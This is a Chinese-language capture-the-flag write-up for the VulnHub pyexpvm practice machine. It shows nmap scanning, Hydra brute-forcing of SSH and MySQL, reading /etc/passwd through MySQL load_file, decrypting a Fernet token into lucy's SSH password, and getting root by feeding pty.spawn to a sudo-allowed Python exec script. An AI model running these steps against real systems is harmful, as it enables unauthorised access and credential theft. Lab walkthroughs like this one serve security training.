首页 > 其他分享 >打靶记录17——pyexpvm

打靶记录17——pyexpvm

时间:2024-09-11 11:16:37浏览次数:9  
标签:key 17 打靶 192.168 lucy SSH pyexpvm root bash

注意:

使用 VM Ware 打开靶机,不要使用 VirtualBox 打开,因为作者设计的就是使用 VM ware 的

靶机(中等难度):

https://download.vulnhub.com/pyexp/pyexpvm.zip

目标:

  • 取得 root 权限 + 2 Flag

攻击方法:

  • 主机发现
  • 端口扫描
  • 信息收集
  • SSH 密码爆破
  • Mysql 密码爆破
  • Mysql 执行代码
  • 编写解密代码
  • sudo 权限漏洞
  • Python 函数
  • 本地提权

主机发现

arp-scan -l

端口扫描和服务发现

nmap -p- 192.168.0.102 发现没有 Web 服务端口

nmap -p1337,3306 -sV -sC 192.168.0.102

发现 SSH 服务工作在 1337 端口上,不是常规的 22 端口

searchsploit ssh 7.9searchsploit mysql 5.5.5 查找已知的漏洞利用代码,发现没有可用的,mysql 那个得具体到 5.5.51 这个小版本才行

SSH 暴力破解

hydra -l root -P /usr/share/wordlists/rockyou.txt ssh://192.168.31.41:1337 爆破 SSH ,但是最后跑完了字典也没成功

因为我的网络环境改变,所以 IP 变了

Mysql 暴力破解

hydra -l root -P /usr/share/wordlists/rockyou.txt mysql://192.168.0.102

破解成功,root 账号的密码 prettywoman ,意思是漂亮小姐姐

mysql -u root -h 192.168.0.102 -p或者mysql -u root -h 192.168.0.102 --skip-ssl -p 输入密码之后直接登录成功

通过 \! id 来尝试获取操作系统的指令失败

尝试 select do_system('id'); 也失败,靶机没有这个函数

select load_file('/etc/passwd'); 用系统函数读取系统文件成功

发现一个 lucy 账号:lucy:x:1000:1000:lucy,,,:/home/lucy:/bin/bash ,那可以尝试用 lucy 账号进行 SSH 暴力破解,但是失败了

那我们就继续读取文件呗,select load_file('/etc/alternatives/my.cnf');

  • 在Linux系统中,/etc/alternatives/my.cnf 是一个符号链接文件,它通常链接到 MySQL 配置文件 my.cnf

但是里面没有有价值的信息,但是它包含了其他文件的路径,里面也没有其他有价值的信息

select load_file('/home/lucy/.ssh/id_rsa'); 查看 SSH 秘钥是空的

继续信息收集,查看数据库,发现 data 数据库里面有一个 fernet 表,表里有两个字段 cred(身份认证信息) 和 keyy(秘钥)

cred:
gAAAAABfMbX0bqWJTTdHKUYYG9U5Y6JGCpgEiLqmYIVlWB7t8gvsuayfhLOO_cHnJQF1_ibv14si1MbL7Dgt9Odk8mKHAXLhyHZplax0v02MMzh_z_eI7ys=

keyy:
UJ5_V_b-TWKKyzlErA96f-9aEnQEfdjFbRKt8ULjdV0=

根据表名使用百度大法得知是 fernet 算法,Python 有一个库 cryptography

cryptography · PyPI 发现利用代码

>>> from cryptography.fernet import Fernet
>>> # Put this somewhere safe!
>>> key = Fernet.generate_key()
>>> f = Fernet(key)
>>> token = f.encrypt(b"A really secret message. Not for prying eyes.")
>>> token
b'...'
>>> f.decrypt(token)
b'A really secret message. Not for prying eyes.'

参照官方代码运行一下

发现生成的 key 和 Mysql数据库里面截获的 key 长度,位数是一样的

对比生成的密文也是相似的

那我们最后再使用代码中的 f.decrypt(token) 来尝试解密试试

重新强制给 key 和 token 赋值,然后使用 f.decrypt(token) 来解密,成功获取明文 b'lucy:wJ9"Lemdv9[FEw-'`

那么尝试 SSH 登录 lucy 账号

ssh [email protected] -p 1337 运气不错,成功登录,并且获得第一个 flag

提权

内核漏洞提权,但是是失败的

lucy@pyexp:~$ uname -a
Linux pyexp 4.19.0-10-amd64 #1 SMP Debian 4.19.132-1 (2020-07-24) x86_64 GNU/Linux

cat .bash_history 有发现,他执行了一些命令

  • .bash_history是一个隐藏文件,存储了用户在交互式bash终端中执行过的命令历史记录。每次用户在终端中执行一个命令,该命令就会被追加到.bash_history文件中。

sudo -l 发现 lucy 她可以以 root 的身份,不需要密码执行命令 /usr/bin/python2 /opt/exp.py

直接执行看不出是什么功能的

ls -l /opt/exp.py 发现我们有读的

lucy@pyexp:~$ cat /opt/exp.py
uinput = raw_input('how are you?')
exec(uinput)

help('exec')发现 exec 函数可以动态的执行 python 代码

既然这样,那我们使用经典的 import pty;pty.spawn('/bin/bash') 提权成功,成为 root 账户,获得第2个 flag

ip a 确实是在目标靶机上,打靶结束!

标签:key,17,打靶,192.168,lucy,SSH,pyexpvm,root,bash
From: https://www.cnblogs.com/Fab1an/p/18407896

相关文章

  • 洛谷题单指南-分治与倍增-P1177 【模板】归并排序
    原题链接:https://www.luogu.com.cn/problem/P1177题意解读:归并排序模版题。解题思路:第一步:确定分界点。mid=(l+r)/2第二步:排序。对左右两边递归排序第三步:归并。合并左右两边排序好的内容关键在第三步:通过双指针对两个有序数组进行合并100分代码:#include<bits/std......
  • OpenCV结构分析与形状描述符(17)判断轮廓是否为凸多边形的函数isContourConvex()的使用
    操作系统:ubuntu22.04OpenCV版本:OpenCV4.9IDE:VisualStudioCode编程语言:C++11算法描述测试轮廓的凸性。该函数测试输入的轮廓是否为凸的。轮廓必须是简单的,即没有自相交。否则,函数的输出是不确定的。cv::isContourConvex函数是OpenCV提供的一个用于判断轮廓是否......
  • A170 - 基于SpringBoot在线考试系统
    我们的SpringBoot在线考试系统为教育机构和企业提供了全面的在线考试管理解决方案。系统设计以高效、灵活和用户友好为核心,以下是系统的主要功能模块及其详细描述:1.系统介绍基于SpringBoot框架开发的在线考试系统旨在实现高效、可靠的在线考试管理。系统提供了全方位的功能,......
  • 老友记台词 第一季 第十七集 Friends 117(全英版)
    文章目录117TheOneWithTwoParts,Part2[Scene:AnEmergencyRoom,RachelandMonicaenter.RachelislimpingandleaningonMonicaforsupport.][Scene:CentralPerk,Chandler,hassplituphisnewspapersoJoeycanlookatthefunnies,whileRoss'......
  • python爬虫连载17
    文本属性设置行高、缩进、字符间距。text-align:设置文本对齐方式,属性值取left、center、right。line-height:设置文本行高,属性值取具体数值来设置具体行高。text-indent:代表首行缩进,text-indent:100px,意思是首行缩进100个像素。letter-spacing:设置字符间距。默认是normal,字符之间没......
  • RAG与LLM原理及实践(17)---Docker Redis & Python Usage
    目录背景Redis环境download修改镜像RunRedisCodingpythonredisdownload基本使用描述完整代码运行结果高阶用法序列化的方式 Snapshot与AOF快照(RDB)AOF(Append-OnlyFile)代码总结发布与订阅描述     代码运行结果注意事项解释Transanction......
  • 17个Mybatis Plugs注解:Mybatis Plugs插件架构设计与注解案例(必须收藏)
    MyBatisPlugins框架提供了一种强大而灵活的机制,允许开发者通过实现Interceptor接口来扩展MyBatis的核心功能。这种插件化的方法无需修改MyBatis源码,即可引入诸如性能监控、日志记录、数据加密、查询缓存等额外功能。通过注解如@Intercepts、@Signature等,开发者可以精确地......
  • 51nod 1720 祖玛
    51nod1720祖玛这又是一个区间dp,但这题又和其他的不一样,这题又用记忆化搜索,但是多学一种方法也没事,但其实用搜索后就模拟即可了。#include<bits/stdc++.h>usingnamespacestd;//定义全局变量intn;//数组长度intdp[505][505];//dp[l][r]表示在区间[l,r]之间的......
  • P1775 石子合并(弱化版)
    P1775石子合并(弱化版)感觉dp太难了,这真的感觉太难学了,但是还要写题记积累啊,唉!感觉不用讲题意了(那你也别讲题解了)就是石子之间可以合并,合并的代价是这堆石子数,问如何合并全部石子后总代价最小。考虑用区间dp,设状态为\(dp[i][j]\)为区间\([i,j]\)的最小代价,转移时先枚举区......
  • 洛谷题单指南-常见优化技巧-P1714 切蛋糕
    原题链接:https://www.luogu.com.cn/problem/P1714题意解读:求长度不超过m的最大子段和解题思路:1、暴力法设a[N]表示原数组,s[N]是a[N]的前缀和,对于每一个元素s[i],计算其与前m个元素之差,取差值最大值,用代码表示:for(inti=1;i<=n;i++){for(intj=i-1;j>=i-m......